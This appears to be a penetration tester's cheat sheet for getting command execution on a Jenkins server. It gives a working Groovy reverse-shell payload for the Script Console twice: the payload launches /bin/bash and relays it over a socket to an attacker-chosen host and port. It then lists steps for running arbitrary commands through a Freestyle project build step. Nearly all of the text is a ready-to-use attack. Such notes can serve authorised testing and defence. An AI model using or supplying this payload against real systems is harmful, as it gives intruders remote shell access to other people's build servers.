Manage Jenkins -> Script Console
Change host, port, cmd (if windows change /bin/bash to cmd)
String host="host"; int port=port;String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Backup:
String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Alternative
-
Go to New Item-> Freestyle Project -> Name it anything you want.
-
Go to Build (or Build Triggers)-> under Build Section, select Execute Windows Batch Command from dropdown.
-
When command box appear can type in commands already like whoami, curl, powershell etc.
-
Click save, then click Build Now on the left.
-
On left side bottom, a new Build History will appear. Click on that (usually #1) and click Console Output on the left to see the output.